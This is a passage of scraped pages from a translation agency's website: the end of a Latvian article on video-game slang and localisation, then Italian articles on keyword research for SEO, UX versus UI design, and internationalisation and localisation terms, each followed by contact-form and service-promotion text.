lai pielāgotos pretinieka komandas stratēģijai, nav laika veidot garus teikumus. GG (“good game”) apzīmē labi pavadītu maču neatkarīgi no tā iznākuma. Bieži šādi izsakās arī zaudētājkomanda, novērtējot pretinieka spējas panākt uzvaru. GG EZ (“good game, easy”) arī ir saistīts ar interesantas, labas izspēles beigām, taču šajā gadījumā uzvarētāji pauž ironiju, ka nebija pat daudz jāpiepūlas, lai uzvarētu. AFK (“away from keyboard”) – dominējošs termins tieši datorspēlēs. Ar šo apzīmējumu spēlētāji citiem pasaka, ka uz kādu brīdi “atkāpsies” no datora tastatūras un drīz atgriezīsies. BRB (“be right back”) ir ar līdzīgu nozīmi, ļaujot citiem zināt, ka spēlētāji drīz atgriezīsies. “Noob” vai “newbie” ir humoristisks apzīmējums nepieredzējušiem spēlētājiem, kas spēles gaitā pieļāvuši samērā vienkāršu kļūdu vai arī vēl neizprot spēles kontroles. PvP (“player vs player”) kā termins ir plaši izplatīts tiešsaistes spēlēs. Tas norāda uz spēlēšanas režīmu, kur savā starpā sacenšas spēlētāji pret citiem spēlētājiem. OP (“owerpowered”) – ar šo terminu bieži apzīmē kādu varoni vai spēlētāju, kurš ir daudz spējīgāks vai ar labāku aprīkojumu, kuru citi nespēj pievārēt. TERMINI, KAS APRAKSTA SPĒĻU DARBĪBU Lai spētu efektīvāk izmantot visas tehniskās un kontroles iespējas, kuras piedāvā konkrētā videospēle, ir svarīgi tās izprast. Ieskatīsimies dažas no šīm iespējām. “Hitbox” ir īpaši atvēlēta zona priekšmetiem vai tēliem, kurai pieskaroties vai uz kuru šaujot spēlētājs to var bojāt. Zinot, kur atrodas tā saucamā bojājumu zona, bieži iespējams gūt vairāk punktus un ātrāk pabeigt spēles nosacījumus jeb misijas. “Cooldown”. Tiešsaistes spēlēs varoņiem mēdz piemist dažādas spējas. Lai tās neizmantotu vienā laidā un spēli ātri nepadarītu neinteresantu, tām ir noteikts laiks, pēc kura spējas var izmantot atkārtoti. “Mana” / “Stamina”. Lai varētu izmantot kādu no iepriekš minētajām varoņu spējām, ir nepieciešama “mana” jeb burvju spēks, kas apzīmēts ar konkrētu maksimālo limitu. Savukārt fiziskām darbībām vai spējām ir vajadzīga izturība jeb “stamina”. “Buff” / “Debuff” ir viens no varoņu spēju veidiem, ar kura palīdzību uzlabot vai pasliktināt cita spēlētāja uzbrukuma vai aizsardzības iespējas, padarot citu tēlu spēcīgāku vai tieši otrādi – vājāku. “Loot” jeb laupījums ir balva, ko spēlētāji saņem par misijas izpildīšanu vai kāda stiprāka tēla pieveikšanu. Šis termins biežāk sastopams tiešsaistes daudzspēlētāju lomu spēlēs. RNG (“random number generator”). Spēlēs, kur tiek likts liels uzsvars uz laupījumiem, līdzi seko arī RNG jeb nejauši ģenerētu skaitļu princips. Tādējādi iegūtās balvas ir nejaušas un spēlētāji velta vairāk laika, lai atrastu nākamo balvu. “Crafting”. Videospēlēs, kur spēlētājiem ir liela brīvība pasaules pārveidošanā, kā viens no svarīgākajiem ir darba rīku un priekšmetu būvēšanas un veidošanas iespēja jeb “crafting”, no dažādiem materiāliem izgatavojot konkrētus rīkus vai cita veida materiālus. TIEŠSAISTES SPĒĻU VAROŅU LOMAS Ienākot tiešsaistes daudzspēlētāju mačā, gandrīz uzreiz spēlētājiem jāpieņem lēmums, kādu lomu ieņemt – aktīvu vai pasīvu. Lai spēles gaita būtu līdzsvarota, katrai no tām ir savas priekšrocības un arī trūkumi. “Tank” jeb tanks pasargā komandas biedrus, uz sevi “uzņemot” lielāko daļu pretinieka uzbrukumu. Parasti šādiem tēliem ir daudz dzīvību un aizsardzības punktu, taču tie nespēj izdarīt lielus bojājumus citiem tēliem. “Healer” / “Support” jeb dziednieks, atbalstošais tēls citiem spēlētājiem atjauno dzīvības punktus, kā arī uzlabo citus parametrus, piemēram, aizsardzības, uzbrukuma vērtības. “Attacker” ir uzbrucējs un spēj nodarīt ievērojamus bojājumus pretiniekiem, taču tam nav daudz dzīvības punktu, tādēļ nepieciešams sadarboties ar atbalstošajiem un dzīvību atjaunojošiem tēliem. “Stealth” tipa varoņi slepus un ātri cenšas paveikt konkrētas darbības, sabotējot pretinieku komandu, piemēram, nozogot karogu. “Sniper” jeb snaiperis darbojas no liela attāluma, meklējot pretiniekus, kurus iznīcināt ar vienu precīzu šāvienu. Tuvumā snaiperi ir mazāk spējīgi nodarīt lielus bojājumus. “Scout” ir kā izlūks, kas, žigli pārvietojoties, izpēta pretinieku bāzes vai laukuma izkārtojumu vai arī tās ieņem, pirms ieradušies citi spēlētāji. VIDEOSPĒĻU TERMINU NOZĪME LOKALIZĀCIJĀ Dažādu žanru videospēļu slenga un terminu izzināšana un izpratne ir pirmais solis, lai to veiksmīgi pielāgotu citas valsts tirgum. Ir daudzi termini, kas iesakņojušies spēlētāju prātos, piemēram, RPG (lomu spēle), “loot” (laupījums, balva), kuru aizvietošana pret citu, pat līdzīgu terminu var novest pie neizpratnes. Savukārt svešvalodā esošas videospēles lokalizēšana latviešu valodā arī ir zināms izaicinājums, ņemot vērā, ka svešvārdi spēlētāju saziņā ir daudz plašāk zināmi nekā to iespējamās lokalizācijas. Abos gadījumos jo īpaši svarīgi ir iedziļināties terminu būtībā, lai piemeklētu labāko un atbilstošāko risinājumu konkrētajam videospēles žanram. Tāpat vienota terminoloģija palīdz spēlētājiem ātrāk orientēties virtuālajā pasaulē. Ja daļa terminu un iespēju jau ir zināmas, tad jaunās izzināt būs vienkāršāk. Ja vēlaties jūsu videospēlei nodrošināt dažādu valodu atbalstu, tad sazinieties ar mums – atradīsim labāko risinājumu! Piesakieties konsultācijai, ja vēlaties detalizētāk pārrunāt jūsu projektu. Mēs ar lielāko prieku palīdzēsim atrast labāko, jums atbilstošāko risinājumu lokalizācijas veidošanā. Norādiet zemāk kontaktus un jautājumus, lai varam vienoties par jums atbilstošāko laiku sarunai. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt --- > È importante ricercare le parole chiave quando si crea un sito web o una campagna di marketing. Gli specialisti SEO di Skrivanek eseguono la ricerca delle parole chiave e l'ottimizzazione del sito web. - Published: 2024-02-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/kas-ir-atslegas-vardu-izpete-ka-piesaistit-merkauditoriju-tiessaiste/ - Kategorijas: Articolo - Translation Priorities: Optional COS’È LA RICERCA DI PAROLE CHIAVE? COME ATTIRARE IL PUBBLICO ONLINE? Praticamente il 70% delle attività online inizia con delle ricerche svolte con motori di ricerca come Google. In questo modo, ogni utente di internet può trovare il prodotto o servizio che desidera, le risposte alle proprie domande, e altre informazioni importanti. Per fare una ricerca, basta digitare una o più parole nella barra di ricerca. Il motore di ricerca selezionerà e presenterà i risultati esatti in cui la o le parole ricercate sono riscontrate. Più il contenuto è pertinente alle parole chiave ricercate, più in alto esso apparirà nei risultati di ricerca, risultando quindi più visibile ed occorrendo nelle prime pagine dei motori di ricerca. I creatori di contenuti devono quindi informarsi sull’argomento e il settore specifico per attrarre il loro pubblico di riferimento. Di fatti, prima di creare i vostri contenuti, dovreste fare una ricerca sulle parole chiave pertinenti. Questo vale sia per creare siti web che per ideare campagne di marketing. Il fine ultimo della ricerca di parole chiave è quello di trovare che cosa ricerca online il proprio pubblico target ed identificare le parole chiave più pertinenti, così da far apparire il proprio contenuto tra i primi risultati del motore di ricerca. PERCHÉ LA RICERCA PER PAROLE CHIAVE È COSÌ IMPORTANTE? La vastità di internet non si può misurare, come non è possibile quantificare neanche il numero di informazioni che si trova al suo interno. Che sia il sito di un’azienda, un negozio online o un blog, per far sì che il vostro pubblico trovi il vostro sito web è necessario sviluppare una strategia per l’ottimizzazione per i motori di ricerca (SEO, dall’inglese Search Engine Optimisation) e la ricerca per parole chiave è una sua componente fondamentale. Senza conoscere il proprio pubblico di riferimento e senza sapere quali parole chiave potrebbe utilizzare per ricercare un determinato contenuto, non è possibile ottimizzare il sito web o adattare i contenuti ai bisogni del proprio pubblico. Questo significa solo una cosa: il pubblico di riferimento non verrà a sapere del determinato prodotto o servizio, azienda, blog o sito web e, di conseguenza, il contenuto “sprofonderà” negli abissi di internet. Il 49% delle volte il risultato più pertinente ad una o più parole chiave specifiche nella prima pagina di Google è quello che riceve più attenzioni dagli utenti online. Se quel contenuto appare invece nella seconda pagina, gli utenti ci cliccheranno meno dell'1% delle volte e questo vale per ogni risultato della seconda pagina di ricerca. Per attirare il pubblico target al proprio sito web è necessario capire quali sono le parole chiave che esso ricerca e creare un contenuto che corrisponde ad esse. Skrivanek consiglia di effettuare una ricerca per parole chiave per ogni attività online, specialmente per ideare campagne di marketing o per creare siti web. Questo vi aiuterà a conoscere i vostri clienti e il vostro pubblico e a scoprire quali informazioni stanno cercando. In questo modo potrete anche capire i problemi e i bisogni dei vostri potenziali clienti, nonché i beni e i servizi di cui hanno bisogno. VANTAGGI DELLA RICERCA PER PAROLE CHIAVE: UN’OTTIMIZZAZIONE EFFICACE PER I MOTORI DI RICERCA La ricerca di parole chiave è una parte integrante dell’ottimizzazione per i motori di ricerca. Essa permette di scoprire le parole o costruzioni specifiche che le persone usano quando cercano i prodotti o servizi che offrite. Con un’efficace ricerca di parole chiave potrete creare una strategia SEO che vi permetterà di introdurre le migliori nonché più pertinenti parole e frasi all’interno del vostro sito web. In questo modo migliorerete la posizione del vostro sito web tra i risultati di ricerca Google. Di fatti, inserendo le parole chiave che i clienti cercano per trovare delle attività simili alle vostre, il vostro sito web apparirà tra i primi risultati di ricerca. Utilizzando parole chiave più specifiche attrarrete al vostro sito web gli utenti e potenziali clienti che state cercando. CAPACITÀ DI CREARE CONTENUTI DI QUALITÀ Le ricerche riflettono gli interessi degli utenti, i quali utilizzano Google come un assistente, un consigliere e per intrattenersi L’uso di parole chiave permette di creare contenuti in grado di soddisfare i bisogni del proprio pubblico di riferimento, nonché di rispondere alle sue domande. La ricerca di parole chiave permette la pianificazione di una strategia focalizzata su contenuti a misura di utente, la quale coinvolge e fa crescere il proprio pubblico. Contenuti di qualità contribuiscono alla creazione dell’immagine dell’azienda, danno credibilità e valore aggiunto e intessono relazioni con il pubblico. Essi vi permettono anche di fornire ai clienti le conoscenze necessarie per effettuare un acquisto. AUMENTATE IL POTENZIALE DEL VOSTRO SITO Il 92,96% del traffico del sito web proviene dalla Ricerca Google, da Google Immagini o da Google Maps. Volete che il vostro sito web venga notato e aumentarne le visite? Allora gli utenti devono essere in grado di trovarlo. Il traffico del sito web dipende da quanto le parole chiave scelte sono popolari. Di fatti, lo 0,16% delle parole chiave principali è responsabile del 60,67% delle ricerche. La ricerca di parole chiave è quindi essenziale al fine di determinare cosa va per la maggiore in un particolare settore, così da attrarre il maggior numero di potenziali clienti possibile. CAPACITÀ DI BATTERE LA CONCORRENZA Voi e i vostri concorrenti state cercando di attrarre gli stessi clienti, perciò è essenziale distinguersi e posizionarsi più in alto nei risultati di ricerca. La ricerca di parole chiave permette di introdurre nei vostri contenuti i termini più rilevanti, posizionando così il vostro sito web nelle prime posizioni dei risultati di ricerca Google e superando i propri concorrenti. COS’È LA RICERCA DI PAROLE CHIAVE? Una ricerca di parole chiave (dall’inglese keyword research) professionale viene svolta da specialisti SEO mediante l’utilizzo di programmi e strumenti di ricerca e di selezione. Essi permettono di identificare parole chiave e costruzioni sia generali e brevi che lunghe e più specifiche, Gli specialisti SEO di Skrivanek svolgono una ricerca sul pubblico di riferimento, individuano le parole chiave più importanti e contribuiscono all’ottimizzazione della vostra pagina web, così da rendere visibile il vostro prodotto o servizio ai vostri potenziali clienti. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia TRADUZIONE DI SITI WEB Tradurre siti web non è mai stato così facile! I servizi di localizzazione e di traduzione forniti dai nostri specialisti garantiscono siti web che vanno incontro ai bisogni e alle caratteristiche della regione o del mercato di riferimento. Per saperne di più AVETE BISOGNO DI UN SERVIZIO DI LOCALIZZAZIONE DI CONTENUTI PER IL DIGITAL MARKETING? Il digital marketing, in cui sono inclusi anche siti web e campagne stampa ben pianificate, ruba il cuore dei potenziali clienti mandando messaggi in un contesto virtuale. A loro volta, i social network permettono di intessere relazioni più strette con i clienti. La strategia di marketing che rende il vostro prodotto unico potrebbe perdersi nella traduzione se non ci si affida ad un servizio di localizzazione dei contenuti per il marketing. Per saperne di più ANNUNCI GOOGLE E SEO SERVIZI DI TRADUZIONE Traducendo il vostro sito web in lingue diverse, lo renderete più competitivo. I nostri specialisti si occuperanno di localizzare il vostro sito web attenendosi agli ultimi principi SEO, così da farlo apparire nella migliore posizione possibile nei risultati organici dei motori di ricerca. Ma i nostri specialisti si occuperanno anche di adattare le parole chiave degli annunci Google, per far sì che i vostri potenziali clienti possano trovarvi con facilità. Per saperne di più TRADUZIONE DI SITI WEB Tradurre siti web non è mai stato così facile! I servizi di localizzazione e di traduzione forniti dai nostri specialisti garantiscono siti web che vanno incontro ai bisogni e alle caratteristiche della regione o del mercato di riferimento. Per saperne di più AVETE BISOGNO DI UN SERVIZIO DI LOCALIZZAZIONE DI CONTENUTI PER IL DIGITAL MARKETING? Il digital marketing, in cui sono inclusi anche siti web e campagne stampa ben pianificate, ruba il cuore dei potenziali clienti mandando messaggi in un contesto virtuale. A loro volta, i social network permettono di intessere relazioni più strette con i clienti. La strategia di marketing che rende il vostro prodotto unico potrebbe perdersi nella traduzione se non ci si affida ad un servizio di localizzazione dei contenuti per il marketing. Per saperne di più ANNUNCI GOOGLE E SEO SERVIZI DI TRADUZIONE Traducendo il vostro sito web in lingue diverse, lo renderete più competitivo. I nostri specialisti si occuperanno di localizzare il vostro sito web attenendosi agli ultimi principi SEO, così da farlo apparire nella migliore posizione possibile nei risultati organici dei motori di ricerca. Ma i nostri specialisti si occuperanno anche di adattare le parole chiave degli annunci Google, per far sì che i vostri potenziali clienti possano trovarvi con facilità. Per saperne di più --- > Cos'è l'UX o esperienza utente? Che cos'è la UI o interfaccia utente? Qual è la differenza tra UX e UI? Come possiamo aiutarvi? - Published: 2024-02-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/kas-ir-ux-un-kas-ir-ui/ - Kategorijas: Articolo - Translation Priorities: Optional CHE COS’È L’UX? E L’UI? Trovandoci nell’era digitale, oggigiorno la facilità d’uso e lo stile della homepage della vostra azienda, negozio digitale o app per telefono sono tanto importanti quanto il contenuto in sé. Di fatti, accade spesso che potenziali clienti abbandonino una pagina web e che vadano a cercare un determinato prodotto o servizio presso le aziende concorrenti se la pagina in questione non è disponibile in una lingua per loro comprensibile o se l’usabilità o l’interfaccia del sito lasciano a desiderare. Nel mondo digitale, le ultime due caratteristiche sono conosciute come UX (esperienza utente o, in inglese, user Experience) e UI (interfaccia utente o, in inglese, User Interface). Ma cosa implicano e in cosa differiscono? Che ruolo hanno in una strategia di digital marketing? Leggete questo articolo per scoprirlo! CHE COS’È L’UX O USER EXPERIENCE? L’UX si riferisce all’esperienza di interazione dell’utente con un dato sito web o app. Lo scopo dell’UX design è quello di rendere tale esperienza il più adatta, veloce, intuitiva e piacevole possibile. Nell’ambito dell’UX la principale parola chiave è «usabilità», definita come il grado in cui un dato utente può utilizzare con successo un prodotto per raggiungere i propri scopi e, allo stesso tempo, esserne soddisfatto. In particolare, affinché un sito web soddisfi al meglio i criteri di UX, dovrebbe non soltanto essere facile da usare e da capire, ma anche attraente a livello estetico e funzionale. Perciò, dato che chi si occupa di progettare l’UX ha come scopo principale quello di garantire un’impressione e un’esperienza d’uso positiva del sito web, è necessario in primo luogo comprendere gli utenti. A questo fine, sono necessari sondaggi e interviste, analisi di competitor, ecc. Dopodiché, viene deciso cosa includere in un particolare sito web, quali emozioni dovrà suscitare e dove e come guidare il visitatore. È come se chi progetta l’UX creasse una mappa della homepage e il ‘sentiero’ che il visitatore della pagina deve percorrere. Se ciò è fatto in maniera efficace, allora l’utente avrà un’esperienza online piacevole e confortevole. CHE COS'È L'UI O USER INTERFACE? L’UI si riferisce alle funzioni interattive e all’insieme degli elementi visivi che l’utente si trova di fronte al momento dell’accesso ad un sito web o app. Si tratta quindi di parti di menù, di pulsanti di navigazione, di icone, di caselle di testo, del design della homepage in sé, ecc. Chi progetta l’UI si prende cura del design visivo, della gerarchia e dell’interazione di queste componenti, come anche di farli funzionare come un insieme unico. Nel design dell’UI gioca un ruolo importante anche il fattore estetico, ossia lo schema di colori, il font, la posizione del contenuto, ecc. QUAL È LA DIFFERENZA TRA UX E UI? Se chi progetta l’UX è un po’ come l’architetto del sito web, chi progetta l’UI è il suo interior designer. Anche se le loro aree di competenza hanno molti punti di contatto, queste due figure sono sostanzialmente differenti. Ad esempio, molti dei compiti di chi si occupa di UX design non hanno nulla a che fare con la grafica. Egli è lo stratega della squadra; è lui che deve comprendere il pubblico di riferimento, che deve definire i problemi e, infine, che deve proporre la soluzione migliore, ossia il prodotto. In particolare, il suo lavoro è in legato al pensiero analitico e persino con la psicologia, mentre chi si occupa di UI deve essere in grado di progettare e presentare in maniera adeguata il sito al cliente. QUAL È L'IMPORTANZA DI UX E UI NEL MARKETING DIGITALE? Non è una sorpresa che molti clienti abbandonano un sito web se non sono soddisfatti della sua usabilità, design, struttura o contenuto. Di fatti, noi tutti abbiamo almeno una volta cercato qualcosa in un sito web e, se ritrovati di fronte a materiale senza struttura, tempi di caricamento lenti e design datato abbiamo abbandonato il sito a favore di un altro in grado di fornire lo stesso servizio ma in un modo più attraente, comprensibile o diretto. Perciò, quando si prende in considerazione l’implementazione di una strategia di digital marketing, il miglioramento dell’esperienza utente dovrebbe essere una priorità; è proprio questo che permette di mettersi in contatto con il potenziale cliente per prolungare il dialogo e, gradualmente, raggiungere un accordo. Di conseguenza, UI e UX sono utilizzate congiuntamente come componenti di una strategia di marketing digitale. Questo lavoro di squadra inizia assieme all’esperienza dell’utente sul sito web, portando il cliente direttamente al suo obiettivo, come ad esempio fare un acquisto o una prenotazione. Questo processo è la componente UX. Tuttavia, per evitare che il visitatore abbandoni il sito web subito dopo esserci entrato, è necessario creare una buona prima impressione mediante una grafica ben progettata, ma anche avendo cura della strutturazione del contenuto e del pulsante per la CTA (chiamata all’azione o, in inglese, call to action), i quali portano il cliente all’azione. Tutto ciò è parte dell’UI. In un modo o nell’altro, ogni momento dell’esperienza di utilizzo di un sito web deve essere cliente-centrico ed è compito di chi si occupa di UX e UI raggiungere questo obiettivo. IN CHE MODO SKRIVANEK PUÒ AIUTARVI? I madrelingua di Skrivanek, provenienti da tutto il mondo, vi daranno con piacere il loro parere sugli UX e UI delle versioni in lingua straniera del vostro sito web o app, come anche consigli sulle parole da utilizzare specificamente per ogni lingua e sui loro significati, sulle differenze culturali, sul comportamento da tenere sul web e vi aiuteranno a definire e a creare il tono di voce del vostro brand. Avete bisogno della consulenza di un madrelingua? Contattateci oggi stesso! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia TRADUZIONE DI SITI WEB Tradurre siti web non è mai stato così facile! I servizi di localizzazione e di traduzione forniti dai nostri specialisti garantiscono siti web che vanno incontro ai bisogni e alle caratteristiche della regione o del mercato di riferimento. Per saperne di più AVETE BISOGNO DI UN SERVIZIO DI LOCALIZZAZIONE DI CONTENUTI PER IL DIGITAL MARKETING? Il digital marketing, in cui sono inclusi anche siti web e campagne stampa ben pianificate, ruba il cuore dei potenziali clienti mandando messaggi in un contesto virtuale. A loro volta, i social network permettono di intessere relazioni più strette con i clienti. La strategia di marketing che rende il vostro prodotto unico potrebbe perdersi nella traduzione se non ci si affida ad un servizio di localizzazione dei contenuti per il marketing. Per saperne di più ANNUNCI GOOGLE E SEO SERVIZI DI TRADUZIONE Traducendo il vostro sito web in lingue diverse, lo renderete più competitivo. I nostri specialisti si occuperanno di localizzare il vostro sito web attenendosi agli ultimi principi SEO, così da farlo apparire nella migliore posizione possibile nei risultati organici dei motori di ricerca. Ma i nostri specialisti si occuperanno anche di adattare le parole chiave degli annunci Google, per far sì che i vostri potenziali clienti possano trovarvi con facilità. Per saperne di più TRADUZIONE DI SITI WEB Tradurre siti web non è mai stato così facile! I servizi di localizzazione e di traduzione forniti dai nostri specialisti garantiscono siti web che vanno incontro ai bisogni e alle caratteristiche della regione o del mercato di riferimento. Per saperne di più AVETE BISOGNO DI UN SERVIZIO DI LOCALIZZAZIONE DI CONTENUTI PER IL DIGITAL MARKETING? Il digital marketing, in cui sono inclusi anche siti web e campagne stampa ben pianificate, ruba il cuore dei potenziali clienti mandando messaggi in un contesto virtuale. A loro volta, i social network permettono di intessere relazioni più strette con i clienti. La strategia di marketing che rende il vostro prodotto unico potrebbe perdersi nella traduzione se non ci si affida ad un servizio di localizzazione dei contenuti per il marketing. Per saperne di più ANNUNCI GOOGLE E SEO SERVIZI DI TRADUZIONE Traducendo il vostro sito web in lingue diverse, lo renderete più competitivo. I nostri specialisti si occuperanno di localizzare il vostro sito web attenendosi agli ultimi principi SEO, così da farlo apparire nella migliore posizione possibile nei risultati organici dei motori di ricerca. Ma i nostri specialisti si occuperanno anche di adattare le parole chiave degli annunci Google, per far sì che i vostri potenziali clienti possano trovarvi con facilità. Per saperne di più --- > Cosa sono internazionalizzazione, localizzazione, globalizzazione e localizzabilità? Vale la pena di leggere per evitare di essere confusi da questi termini di traduzione. - Published: 2024-02-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/kas-ir-kas-internationalization-i18n-localization-l10n-globalization-g11n-un-localizability-l12y/ - Kategorijas: Articolo - Translation Priorities: Optional COSA È COSA? INTERNAZIONALIZZAZIONE (I18N). LOCALIZZAZIONE (L10N). GLOBALIZZAZIONE (G11N). LOCALIZZABILITÀ (L12Y) Nell’odierna era della globalizzazione e di internet, è davvero facile diffondere le proprie idee oltre i confini nazionali. Tuttavia, assicurarsi che le descrizioni di prodotti o servizi siano adatte a clienti provenienti da diverse nazioni e culture può essere difficile. Di fatti, per attrarre clienti o partner commerciali internazionali, è molto importante che il proprio sito web sia tradotto accuratamente. Esso è infatti una diretta rappresentazione del portfolio della propria azienda e, nel mercato internazionale, ha un po’ la funzione di un biglietto da visita. Come anche il mondo degli affari, il settore della traduzione cerca di trarre da ogni ostacolo un’opportunità per fornire un servizio. Per evitare qualsiasi ambiguità nel processo di traduzione e ricevere quindi il servizio che può soddisfare i vostri bisogni nel miglior modo possibile, è consigliabile prendere confidenza con alcuni termini fondamentali, come internazionalizzazione (i18n), localizzazione (l10n), globalizzazione (g11n), e localizzabilità (l12y). COS’È L’INTERNAZIONALIZZAZIONE (I18N)? L'internazionalizzazione è il processo di creazione, sviluppo o modifica di contenuti, con il fine di renderli facilmente adattabili o localizzabili per utenti di cultura, lingua o religione diversa. In sostanza, il fine è quello di creare un contenuto che sia universalmente accessibile e personalizzabile, così da poter soddisfare i bisogni di pubblici diversi. Ad esempio, internazionalizzare un sito web vuol dire implementare varie strategie, come adattare gli elementi dell’interfaccia utente (come le barre del menù) per facilitarne la traduzione; assicurarsi che le icone e gli elementi visuali siano culturalmente appropriati; rendere i testi statici personalizzabili, e configurare le opzioni del formato della data e ora così che esse possano cambiare a seconda della posizione geografica dell’utente. In poche parole, lo scopo dell’internazionalizzazione è quello di concepire il contenuto in modo tale che esso possa essere poi adattato a diversi contesti culturali, linguistici e regionali, garantendo che il significato e l’intento originali non vengano persi nella traduzione. CHE COS'È LA LOCALIZZAZIONE (I10N)? È detto localizzazione quel processo che implica l’adattamento di contenuti già internazionalizzati, così che possano soddisfare le specifiche esigenze linguistiche, culturali e regionali del mercato di destinazione. Ciò comporta non soltanto la traduzione del testo, ma anche l’integrazione del suo contenuto con elementi specifici, come ad esempio immagini, video e altri riferimenti culturali. Lo scopo principale di questo processo è quello di assicurare che il contenuto sia culturalmente appropriato e che trasmetta con precisione il messaggio al pubblico di riferimento. In sostanza, la localizzazione permette all’azienda di comunicare con il suo pubblico di riferimento utilizzando frasi, idiomi ed espressioni normali per la cultura di arrivo, ma che potrebbero non essere facilmente riconoscibili al di fuori di essa. Un esempio di localizzazione potrebbe essere la traduzione del sito web di un produttore straniero in lettone o la traduzione del contenuto di un sito web di e-commerce lettone in inglese. Oltre alla traduzione del testo, la localizzazione può implicare anche l’adattamento di elementi visivi e di contenuti multimediali, come ad esempio clip audio, con lo scopo di adattare i contenuti alle norme linguistiche e culturali del pubblico di riferimento. CHE COS'È LA GLOBALIZZAZIONE (G11N)? La globalizzazione è un processo complesso che va oltre l’internazionalizzazione e la localizzazione. Si tratta infatti di adattare il contenuto a più pubblici allo stesso tempo, come se si stesse traducendo un sito web in più lingue diverse. Questo processo è importante soprattutto per grandi aziende internazionali, le quali potrebbero aver bisogno del loro sito in molte lingue diverse. Un esempio di globalizzazione è la traduzione del sito web di un produttore lettone in tedesco, inglese, spagnolo, francese e italiano. Va notato che globalizzazione e localizzazione vanno spesso di pari passo. Ad esempio, un’azienda potrebbe volere 30 versioni del proprio sito web in altrettante lingue diverse (globalizzazione), di cui 10 personalizzate per una data regione (localizzazione). CHE COS'È LA LOCALIZZABILITÀ (I12Y)? Con il termine localizzabilità ci si riferisce ad una serie di caratteristiche che rendono il contenuto adeguato ad un’efficace localizzazione. A questo fine è di solito svolto un test di localizzabilità, il quale ha lo scopo di identificare quelle aree potenzialmente problematiche nel testo di partenza, le quali potrebbero causare problemi durante il processo di localizzazione. Esso garantisce che il contenuto, compreso il testo, le immagini, l’impaginazione e altro siano pronte ad essere localizzate. IN CHE MODO SKRIVANEK PUÒ AIUTARVI? State cercando di creare un sito web che parla la stessa lingua dei vostri clienti e partner commerciali internazionali? Il team di Skrivanek, composto da madrelingua provenienti da tutto il mondo, è ciò che fa per voi. I nostri esperti possono aiutarvi a garantire che il vostro sito web trasmetta il vostro messaggio e che lo faccia in maniera coinvolgente e persuasiva per il pubblico e nazione di destinazione. Tra i nostri servizi figurano la traduzione di siti web, localizzazione di audio e video, di software, di contenuti per il digital marketing, ma anche traduzioni SEO e di annunci Google. Lasciatevi aiutare a creare un messaggio su misura per i bisogni e le sfumature specifiche dei mercati locali. Contattateci oggi stesso per organizzare una consulenza con uno dei nostri madrelingua! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia TRADUZIONE DI SITI WEB Tradurre siti web non è mai stato così facile! I servizi di localizzazione e di traduzione forniti dai nostri specialisti garantiscono siti web che vanno incontro ai bisogni e alle caratteristiche della regione o del mercato di riferimento. Per saperne di più AVETE BISOGNO DI UN SERVIZIO DI LOCALIZZAZIONE DI CONTENUTI PER IL DIGITAL MARKETING? Il digital marketing, in cui sono inclusi anche siti web e campagne 